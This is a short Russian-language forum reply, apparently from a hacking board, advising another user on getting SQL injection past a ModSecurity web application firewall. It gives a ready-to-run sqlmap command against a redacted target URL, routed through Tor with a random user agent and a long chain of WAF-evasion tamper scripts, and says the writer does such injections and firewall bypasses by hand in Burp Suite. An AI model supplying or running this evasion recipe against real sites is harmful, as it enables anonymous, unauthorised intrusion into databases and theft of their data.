Вот ещё варианты почитай тут и тут а вообще в google забей bypass Mod_Security вот ещё на packetstorm почитай...

Ну а если sqlmap используешь попробуй так https://www.------.com/index.php?id=1" --tor --random-agent --check-waf --tamper="apostrophemask,apostrophenullencode,append nullbyte,base64encode,between,bluecoat,chardoublee ncode,charencode,charunicodeencode,concat2concatws ,equaltolike,greatest,halfversionedmorekeywords,if null2ifisnull,modsecurityversioned,modsecurityzero versioned,multiplespaces,nonrecursivereplacement,p ercentage,randomcase,randomcomments,securesphere,s pace2comment,space2dash,space2hash,space2morehash, space2mssqlblank,space2mssqlhash,space2mysqlblank, space2mysqldash,space2plus,space2randomblank,sp_pa ssword,unionalltounion,unmagicquotes,versionedkeyw ords,versionedmorekeywords" хотя выше ребята тебе правильно сказали программой ты врятли обойдешь конечно если там по default все не настроено. Я обычно все sql injection в burp suite кручу и waf в нём же обхожу..